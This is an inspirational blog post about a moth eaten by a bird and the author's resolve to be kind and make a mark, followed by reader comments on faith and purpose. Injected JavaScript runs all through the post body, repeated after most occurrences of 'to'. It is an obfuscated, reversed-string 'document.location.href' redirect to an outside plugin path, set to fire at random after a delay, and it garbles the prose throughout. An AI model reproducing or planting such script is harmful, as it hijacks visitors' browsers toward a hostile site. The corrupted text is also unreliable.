While I was standing at my front door this morning looking outside I spotted a little moth flying around. The sun was hitting its wings at just the right angle toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to light it up and made it look like it was iridescent. I don’t know why this caught my attention but I watched the moth for a minute as it just fluttered around.
And then a bird swooped by and ate the moth.
It made me start toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to think about the moth and the fact that he was just floating around, maybe going somewhere – maybe going no where in particular, but just floating around minding his own business. And along came the bird and the moth was histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.
Will anyone remember the moth? Who really cares about the moth? Other than the bird and I there probably was no other being aware of its existence. And soon even the bird and I will forget about the moth.
The moth’s existence was both brief and unremarkable and, if it were not for me just happening toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be looking out the door at that moment and the bird being hungry, would have gone completely unnoticed.

So what can I do?
Immediately around me I can try toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a better mate, father, son, and brother.

With my friends, I can be there for them when they need me. To listen when they need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to talk and comfort them when they need comfort – all the while giving them the confidence that their secrets are safe with me. I can tell a joke when they need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to laugh or give them a shoulder when they need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cry.
In business, I can be ethical, fair, and compassionate. I can put my clients needs ahead of mine so that I can assure myself that I will take care of their needs based upon their needs not my own.
In my community, I can donate my time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help others or I can carry out random acts of kindness. I have always wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to walk up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to people who appear toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be in need and hand them a gift certificate toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a local grocery stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore and just walk away. I think now is a good time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start doing this.
What do I ask in return? Nothing.
I don’t need their thanks or praise; knowing that I might have made someone’s day a little better is satisfaction enough. Because I know that whatever I reap I will sow. If I treat people with kindness, I will receive kindness in return. If I am there for people when they need me, they will be there for me when I need them.
Let’s not all end up like the moth.
Don’t just float around waiting until the bird comes for us; make something of yourself.
Become noticed.
The moth had no idea when the end of his time might be. And neither do we.
Make a difference. Touch someone’s life. Make a mark on the world. Or, at least your little part of it.

I feel that I was a mistake in my parents eyes at times. I never understood my purpose in this world until recently. After losing my job and understanding where God wants me to be, I have purpose. I have taken up the art of Acting. I have the natural talent and a long path ahead of me. It has been a rough road and will only get worse before it gets better, and I thank God Almighty for it.. . . because when I reach the goal he has set me out to accomplish, I am going to have one interesting story to tell. A story with God at the beginning, middle and end. I will accomplish what he has set me out to do and I will help and touch everyone that has aspirations to live their dreams. I always noticed that in life, there are more discouragements than encouragements. It depends on the light we see and how God helps us understand the reason for the darkness we may see. I love everyone that reads this, and by reading my entry, you have touched me and made a difference in my life already. Have a blessed day my brothers and sisters in Christ.. . . because you are already blessed.
I have always wondered what was the real reason for being in this life,I mean there has to be something more than just work and paying bills.We have a purpose in this life,but I have not found mine,still searching and don’t want to be floating through this life like a moth.I Know Christ is within me or why else would I have these desires. I am still in a searching mode in my life,I pray God helps me to find what I am suppose to be doing before I leave this life.Even if all I am is a voice,then let me be that small voice that speaks Gods name to all around me.Sometimes I’m so depressed that I can’t see my way clear,but yet inside I know God is near in the darkness.My voice speaks in poems on certain websites to talk of God and all that life has brought to me.So for now I’m just a voice in a world of darkness to carry Gods
great light.I’m always forever searching:}
Truly inspiring story. Thank you. I will share it on my site…..:)
